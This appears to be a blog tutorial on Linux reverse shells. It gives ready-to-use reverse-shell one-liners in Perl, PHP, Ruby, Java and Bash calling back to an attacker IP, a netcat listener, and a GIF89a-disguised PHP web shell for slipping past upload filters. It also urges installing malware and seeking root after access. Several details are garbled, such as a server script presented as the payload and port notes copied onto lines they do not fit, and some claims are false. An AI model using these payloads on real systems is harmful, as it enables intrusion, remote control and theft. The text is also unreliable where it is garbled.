Imagine being an unseen puppet master, pulling the strings behind the scenes, guiding your target through a maze of digital pitfalls, and gaining full control over their movements. This is the intriguing world of reverse shells, where ethical hackers harness their skills to assess and fortify network security, navigating firewalls, and exploiting vulnerabilities to stay one step ahead of the ever-evolving threat landscape.

In this article, we delve into the realm of reverse shells in Linux, exploring their fascinating mechanics, the tools and techniques that bring them to life, and the responsible ways to utilize them for ethical hacking purposes. Join us on this journey as we unravel the secrets of reverse shells and unveil their true potential in the battle against cyber threats.

Points to cover

  • Prerequisites
  • How does a reverse shell attack happen?
  • Programming languages used
  • Problems while executing injecting reverse shell
  • Overcome problems
  • Conclusion

Prerequisites

To listen to a reverse shell in Linux, you need to have netcat installed. But in Windows, you need to have ncat which comes installed with nmap suite in order to run listening on Linux. And, in Windows you need to execute the following code to listen for reverse shell.

linux
nc –nlvp <port-used-by-u>

windows
ncat.exe –nlvp <port-used-by-u>

How does a reverse shell attack happen?

In most cases, a reverse shell attack happens when an application is vulnerable to a remote code execution vulnerability. An attacker uses such a vulnerability in an application to execute some code on the victim’s machine that initiates the shell session. Without knowing it, the victim creates a connection and the attacker only has to listen for incoming connections on the correct port. Once the connection is established, the attacker has shell access to the victim and does all sorts of exciting things.

Think of it like a tennis ball. If you throw it at something hard, it will come back at you. You only need to catch it at the right place and time. 

[Disclaimer: This article is for educational and ethical hacking purposes only. Unauthorized hacking, accessing systems or networks without permission, or any form of cybercrime is illegal and punishable by law. We do not promote or support such activities.]

Programming languages used

Literally, any programming language can be used from high level to low-level anyone can be used but the most common are:-

  • python
  • java
  • Perl
  • ruby
  • PHP
  • bash
python:

Python is a really fast-growing programming language and it has its involvement in every field starting from websites to desktop applications it is used in every place. so some times after enumeration if you find you can use python in the server you can use the code given below to start a reverse shell connection.

import socket

SERVER_HOST = "0.0.0.0"
SERVER_PORT = 5003
# send 1024 (1kb) a time (as buffer size)
BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, feel free to increase
# separator string for sending 2 messages in one go
SEPARATOR = "<sep>"

# create a socket object
s = socket.socket()

# bind the socket to all IP addresses of this host
s.bind((SERVER_HOST, SERVER_PORT))
# make the PORT reusable
# when you run the server multiple times in Linux, Address already in use error will raise
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.listen(5)
print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")

# accept any connections attempted
client_socket, client_address = s.accept()
print(f"{client_address[0]}:{client_address[1]} Connected!")

# receiving the current working directory of the client
cwd = client_socket.recv(BUFFER_SIZE).decode()
print("[+] Current working directory:", cwd)

while True:
    # get the command from prompt
    command = input(f"{cwd} $> ")
    if not command.strip():
        # empty command
        continue
    # send the command to the client
    client_socket.send(command.encode())
    if command.lower() == "exit":
        # if the command is exit, just break out of the loop
        break
    # retrieve command results
    output = client_socket.recv(BUFFER_SIZE).decode()
    print("output:", output)
    # split command output and current directory
    results, cwd = output.split(SEPARATOR)
    # print output
    print(results)
# close connection to the client
client_socket.close()
# close server connection
s.close()
perl:

Perl just like Python is a programming language used in web development but comparatively more used than Python.

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

In the above code instead of 10.0.0.1, you can specify your IP and in the ( $p= ) you can specify the port you prefer

php:

PHP is a server-side scripting language. that is used to develop Static websites or Dynamic websites or Web applications. PHP stands for Hypertext Pre-processor, which earlier stood for Personal Home Pages. PHP scripts can only be interpreted on a server that has PHP installed

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

In the above code instead of 10.0.0.1, you can specify your IP and in the ( $p= ) you can specify the port you prefer

ruby:

Ruby and Python are both solid languages to use in web development. Ruby offers Ruby on Rails, which uses a Model-View-Controller (MVC) architecture. The MVC architecture is a convention to separate logic.

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

In the above code instead of 10.0.0.1, you can specify your ip and in the ( $p= ) you can specify the port you prefer

java:

Java developers keep up with developments in the coding language, perform periodic updates of security protocols, and excellent grasp to handle data requests.

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

In the above code instead of 10.0.0.1, you can specify your IP and in the ( $p= ) you can specify the port you prefer

bash:

Bash is not used in the website instead used in the Linux server itself and it to the most extent very effective

Bash : bash -i >& /dev/tcp/10.10.10.10/4443 0>&1

In the above code instead of 10.0.0.1, you can specify your ip and in the ( $p= ) you can specify the port you prefer

Shell codes copied directly from exploit-db website.

Problems while executing injecting reverse shell

The main problem is how to inject the code into the website. Some methods are by embodying the code into the metadata of a picture and then uploading the image into the website.

You can start a reverse shell attack but in some websites or mostly all secured websites divide the files uploaded into 2 types white tag and black tags. This means the metadata is enumerated and the upload is stopped or the websites might have a really powerful firewall or a malware detection mechanism that blocks anonymous web traffic and blocks it for good.

Overcome problems

To overcome the problems you need to have a lot of resources but it is very difficult to bypass the firewall until you don’t know the info required so we won’t include that in the article. But, there is a way to make the upload possible by adding a header in the metadata of the image. Usually, hackers use the PHP codes more than any code because of the versatility it provides and many times the code starts with .php format or header causing it to be detected and stopped so for this not to happen you need to add 

GIPHY 

header to the metadata to do that you need to follow the following codes

#open vim and the photo file with the codes
vim example.png

#enter the GIPHY header on the top of everything

GIF89a;
<?php system($_GET[‘c’]);?>

#save the above
#u are ready to upload the picture into the website

The GIF89a; is the GIPHY header it tells the website that it is a legit picture but you might feel the code won’t work but it will work without any issue and you can listen to the shell and enumerate the server.

Source: The sources or his article are youtube videos and the codes are from various GitHub repos. You can always find the owner of the source code for the program in  github.comand exploit-db website

Note: To effectively enumerate the web shell you must execute the /bin/bash/sh/ to properly get the bash shell to try to get the sudo or root privileges. Install any malware or see any data in any look and corner of the whole system. This is a simple tool but very effective in enumerating the system.

Conclusion

As our exploration of reverse shells in Linux comes to a close, it is essential to recognize that these powerful techniques, much like a double-edged sword, can serve as instruments of both defense and destruction. In the hands of ethical hackers and cybersecurity professionals, reverse shells become an indispensable ally, shedding light on hidden vulnerabilities and bolstering the ramparts of network security.

However, it is our collective responsibility to wield these tools with caution, wisdom, and respect for the law. By doing so, we can ensure that reverse shells remain a force for good, empowering us to navigate the ever-shifting landscape of cyberspace and safeguard our digital fortresses from malicious adversaries. So, as you embrace the world of reverse shells, let your curiosity be tempered by responsibility, and let your mastery be guided by a steadfast commitment to ethical hacking.

Follow the author:

Shares:

Leave a Reply

Your email address will not be published. Required fields are marked *